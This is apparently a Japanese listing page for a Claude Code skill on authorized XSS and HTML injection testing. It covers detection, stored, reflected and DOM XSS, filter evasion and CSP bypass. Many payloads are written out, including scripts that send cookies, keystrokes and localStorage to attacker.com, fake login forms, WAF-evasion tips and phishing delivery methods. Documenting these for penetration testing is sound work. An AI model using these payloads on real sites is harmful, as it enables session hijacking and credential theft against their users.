Cross-Site Scripting and HTML Injection Testing について
Web アプリの保存型・反射型・DOM ベースの XSS と HTML インジェクションを検出・検証するセキュリティテストスキルです。許可を得たテスト担当者向けに、検出から影響の実証、修正報告までを案内します。
主な機能
- 01保存型・反射型・DOM 型 XSS のテスト
- 02HTML インジェクション評価
- 03ペイロードとフィルタ回避のテスト
- 04影響実証の手順
- 05修正と CSP の推奨事項
活用シーン
- 01Web フォームと反射入力の評価
- 02コメントやプロフィール欄の永続入力テスト
- 03クライアント側 URL 処理の確認
- 04許可済み脆弱性レポートの作成
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ davila7/ claude-code-templates --skill cross-site-scripting-and-html-injection-testingインストール後、Claude Code で/cross-site-scripting-and-html-injection-testingを入力して読み込まれたか確認します。
詳細
クロスサイトスクリプティングとHTMLインジェクションのテスト
目的
Webアプリケーションに対して包括的なクライアントサイドのインジェクション脆弱性評価を実施し、XSSとHTMLインジェクションの欠陥を特定します。セッションハイジャックや認証情報の窃取に対する攻撃手法を実証し、入力のサニタイズと出力エンコーディングの仕組みを検証します。このスキルにより、保存型、反射型、DOMベースの各攻撃ベクトルを体系的に検出して悪用できるようになります。
入力 / 前提条件
必要なアクセス
- ユーザー入力欄を持つ対象WebアプリケーションのURL
- リクエスト分析用のBurp Suiteまたはブラウザの開発者ツール
- 保存型XSSのテスト用にテストアカウントを作成できるアクセス権
- JavaScriptコンソールが有効なブラウザ
技術要件
- ブラウザのコンテキストにおけるJavaScriptの実行に関する理解
- HTML DOMの構造と操作に関する知識
- HTTPのリクエスト/レスポンスヘッダーへの精通
- Cookieの属性とセッション管理に関する理解
法的前提条件
- セキュリティテストに関する書面による許可
- 対象ドメインと機能を含む明確に定義されたスコープ
- 取得したセッションデータの取り扱いに関する合意
- インシデント対応手順の策定
出力 / 成果物
- 重大度分類を含むXSS/HTMLi脆弱性レポート
- 影響を実証するPoC(概念実証)用のペイロード
- セッションハイジャックのデモンストレーション(管理された環境内)
- CSP設定を含む是正提案
中核ワークフロー
フェーズ1: 脆弱性の検出
入力の反映箇所を特定する
ユーザー入力がレスポンスに反映される箇所を特定します。
# Common injection vectors
- Search boxes and query parameters
- User profile fields (name, bio, comments)
- URL fragments and hash values
- Error messages displaying user input
- Form fields with client-side validation only
- Hidden form fields and parameters
- HTTP headers (User-Agent, Referer)
基本的な検出テスト
テスト用の文字列を挿入して、アプリケーションの動作を観察します。
<test123>
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<body onload=alert('XSS')>
次の点を監視します。
- エンコードされていない生のHTMLの反映
- 部分的なエンコード(一部の文字のみエスケープされている)
- ブラウザコンソールでのJavaScriptの実行
- インスペクターで確認できるDOMの変更
XSSの種類を判別する
保存型XSSの兆候:
- ページを再読み込みしても入力が残る
- 他のユーザーが注入されたコンテンツを閲覧できる
- コンテンツがデータベースやファイルシステムに保存されている
反射型XSSの兆候:
- 入力が現在のレスポンスにのみ現れる
- 被害者が細工されたURLをクリックする必要がある
- セッションをまたいだ永続性がない
DOMベースXSSの兆候:
- 入力がクライアントサイドのJavaScriptによって処理される
- サーバーのレスポンスにペイロードが含まれていない
- 悪用がブラウザ内で完結する
フェーズ2: 保存型XSSの悪用
保存先を特定する
永続的なユーザーコンテンツを扱う箇所を対象とします。
- Comment sections and forums
- User profile fields (display name, bio, location)
- Product reviews and ratings
- Private messages and chat systems
- File upload metadata (filename, description)
- Configuration settings and preferences
永続化ペイロードを作成する
<script>
document.location='http://attacker.com/steal?c='+document.cookie
</script>
<script>
document.onkeypress=function(e){
new Image().src='http://attacker.com/log?k='+e.key;
}
</script>
<script>
fetch('http://attacker.com/capture',{
method:'POST',
body:JSON.stringify({cookies:document.cookie,url:location.href})
})
</script>
<div id="login">
<h2>Session Expired - Please Login</h2>
<form action="http://attacker.com/phish" method="POST">
Username: <input name="user"><br>
Password: <input type="password" name="pass"><br>
<input type="submit" value="Login">
</form>
</div>
フェーズ3: 反射型XSSの悪用
悪意のあるURLを構築する
XSSペイロードを含むURLを作成します。
# Basic reflected payload
https://target.com/search?q=<script>alert(document.domain)</script>
# URL-encoded payload
https://target.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E
# Event handler in parameter
https://target.com/page?name="><img src=x onerror=alert(1)>
# Fragment-based (for DOM XSS)
https://target.com/page#<script>alert(1)</script>
配信方法
反射型XSSを被害者に届けるための手法です。
1. Phishing emails with crafted links
2. Social media message distribution
3. URL shorteners to obscure payload
4. QR codes encoding malicious URLs
5. Redirect chains through trusted domains
フェーズ4: DOMベースXSSの悪用
脆弱なシンクを特定する
ユーザー入力を処理するJavaScriptの関数を特定します。
// Dangerous sinks
document.write()
document.writeln()
element.innerHTML
element.outerHTML
element.insertAdjacentHTML()
eval()
setTimeout()
setInterval()
Function()
location.href
location.assign()
location.replace()
ソースを特定する
ユーザーが制御できるデータがアプリケーションに入り込む箇所を特定します。
// User-controllable sources
location.hash
location.search
location.href
document.URL
document.referrer
window.name
postMessage data
localStorage/sessionStorage
DOM XSSのペイロード
// Hash-based injection
https://target.com/page#<img src=x onerror=alert(1)>
// URL parameter injection (processed client-side)
https://target.com/page?default=<script>alert(1)</script>
// PostMessage exploitation
// On attacker page:
<iframe src="https://target.com/vulnerable"></iframe>
<script>
frames[0].postMessage('<img src=x onerror=alert(1)>','*');
</script>
フェーズ5: HTMLインジェクションの手法
反射型HTMLインジェクション
JavaScriptを使わずにページの見た目を変更します。
<h1>SITE HACKED</h1>
<form action="http://attacker.com/capture">
<input name="credentials" placeholder="Enter password">
<button>Submit</button>
</form>
<style>
input[value^="a"]{background:url(http://attacker.com/a)}
input[value^="b"]{background:url(http://attacker.com/b)}
</style>
<iframe src="http://attacker.com/phishing" style="position:absolute;top:0;left:0;width:100%;height:100%"></iframe>
保存型HTMLインジェクション
永続的なコンテンツの改変を行います。
<marquee>Important Security Notice: Your account is compromised!</marquee>
<style>body{background:red !important;}</style>
<div style="position:fixed;top:0;left:0;width:100%;background:white;z-index:9999;">
Fake login form or misleading content here
</div>
フェーズ6: フィルター回避の手法
タグと属性のバリエーション
<ScRiPt>alert(1)</sCrIpT>
<IMG SRC=x ONERROR=alert(1)>
<svg/onload=alert(1)>
<body/onload=alert(1)>
<marquee/onstart=alert(1)>
<details/open/ontoggle=alert(1)>
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>
<img src=x onerror=alert(1)//
<img """><script>alert(1)</script>">
エンコーディング回避
<img src=x onerror=alert(1)>
<img src=x onerror=alert(1)>
<script>\u0061lert(1)</script>
<img src=x onerror=\u0061\u006cert(1)>
JavaScriptの難読化
// String concatenation
<script>eval('al'+'ert(1)')</script>
// Template literals
<script>alert`1`</script>
// Constructor execution
<script>[].constructor.constructor('alert(1)')()</script>
// Base64 encoding
<script>eval(atob('YWxlcnQoMSk='))</script>
// Without parentheses
<script>alert`1`</script>
<script>throw/a]a]/.source+onerror=alert</script>
空白とコメントによる回避
<img src=x onerror
=alert(1)>
<script>/**/alert(1)/**/</script>
<img src=x onerror="alert(1)"
クイックリファレンス
XSS検出チェックリスト
1. Insert <script>alert(1)</script> → Check execution
2. Insert <img src=x onerror=alert(1)> → Check event handler
3. Insert "><script>alert(1)</script> → Test attribute escape
4. Insert javascript:alert(1) → Test href/src attributes
5. Check URL hash handling → DOM XSS potential
よく使われるXSSペイロード
| コンテキスト | ペイロード |
|---|---|
| HTML本文 | <script>alert(1)</script> |
| HTML属性 | "><script>alert(1)</script> |
| JavaScript文字列 | ';alert(1)// |
| JavaScriptテンプレート | ${alert(1)} |
| URL属性 | javascript:alert(1) |
| CSSコンテキスト | </style><script>alert(1)</script> |
| SVGコンテキスト | <svg onload=alert(1)> |
Cookie窃取ペイロード
<script>
new Image().src='http://attacker.com/c='+btoa(document.cookie);
</script>
セッションハイジャックのテンプレート
<script>
fetch('https://attacker.com/log',{
method:'POST',
mode:'no-cors',
body:JSON.stringify({
cookies:document.cookie,
localStorage:JSON.stringify(localStorage),
url:location.href
})
});
</script>
制約とガードレール
運用上の境界
- 本番システムを破壊しうるペイロードは決して注入しないこと
- Cookie/セッションの取得は、デモンストレーション目的に限定すること
- 意図しないユーザーに拡散しうるペイロード(ワーム的な動作)を避けること
- スコープの要件を超えて、実際のユーザーデータを持ち出さないこと
技術的な制限
- Content Security Policy (CSP) によってインラインスクリプトがブロックされる場合がある
- HttpOnly Cookie は JavaScript からのアクセスを防ぐ
- SameSite Cookie 属性はクロスオリジン攻撃を制限する
- 最新のフレームワークは出力を自動エスケープすることが多い
法的および倫理的な要件
- テストの前に書面による許可が必要である
- 重大な XSS 脆弱性は直ちに報告すること
- 取得した認証情報は、データ保護に関する契約に従って取り扱うこと
- 発見した脆弱性を、不正なアクセスに利用しないこと
例
例 1: コメント欄の格納型 XSS
シナリオ: ブログのコメント機能が格納型 XSS に脆弱である
検出:
POST /api/comments
Content-Type: application/json
{"body": "<script>alert('XSS')</script>", "postId": 123}
観察: コメントが描画され、すべての閲覧者でスクリプトが実行される
悪用ペイロード:
<script>
var i = new Image();
i.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
</script>
結果: そのコメントを閲覧するすべてのユーザーのセッション Cookie が、攻撃者のサーバーに送信される。
例 2: 検索パラメータによる反射型 XSS
シナリオ: 検索結果ページがクエリをエンコードせずに反映している
脆弱な URL:
https://shop.example.com/search?q=test
検出テスト:
https://shop.example.com/search?q=<script>alert(document.domain)</script>
細工された攻撃 URL:
https://shop.example.com/search?q=%3Cimg%20src=x%20onerror=%22fetch('https://attacker.com/log?c='+document.cookie)%22%3E
配信: フィッシングメールで対象ユーザーに URL を送信する。
例 3: ハッシュフラグメントによる DOM ベースの XSS
シナリオ: JavaScript が URL のハッシュを読み取り、DOM に挿入している
脆弱なコード:
document.getElementById('welcome').innerHTML = 'Hello, ' + location.hash.slice(1);
攻撃 URL:
https://app.example.com/dashboard#<img src=x onerror=alert(document.cookie)>
結果: スクリプトはクライアント側でのみ実行され、ペイロードがサーバーに到達することはない。
例 4: JSONP エンドポイントを利用した CSP のバイパス
シナリオ: サイトは CSP を設定しているが、信頼された CDN を許可している
CSP ヘッダー:
Content-Security-Policy: script-src 'self' https://cdn.trusted.com
バイパス: 信頼されたドメイン上の JSONP エンドポイントを見つける:
<script src="https://cdn.trusted.com/api/jsonp?callback=alert"></script>
結果: 許可されたスクリプトソースを利用して CSP がバイパスされる。
トラブルシューティング
| 問題 | 対処法 |
|---|---|
| スクリプトが実行されない | CSP によるブロックを確認する。エンコードを検証する。イベントハンドラ(img、svg の onerror)を試す。JS が有効か確認する |
| ペイロードは表示されるが実行されない | " や ' で属性のコンテキストから抜け出す。コメント内にないか確認する。別のコンテキストを試す |
| Cookie にアクセスできない | HttpOnly フラグを確認する。localStorage/sessionStorage を試す。no-cors モードを使う |
| CSP がペイロードをブロックする | 許可リストに登録されたドメイン上の JSONP を探す。unsafe-inline の有無を確認する。base-uri のバイパスを試す |
| WAF がリクエストをブロックする | エンコードのバリエーションを使う。ペイロードをフラグメント化する。ヌルバイトを使う。大文字と小文字を変える |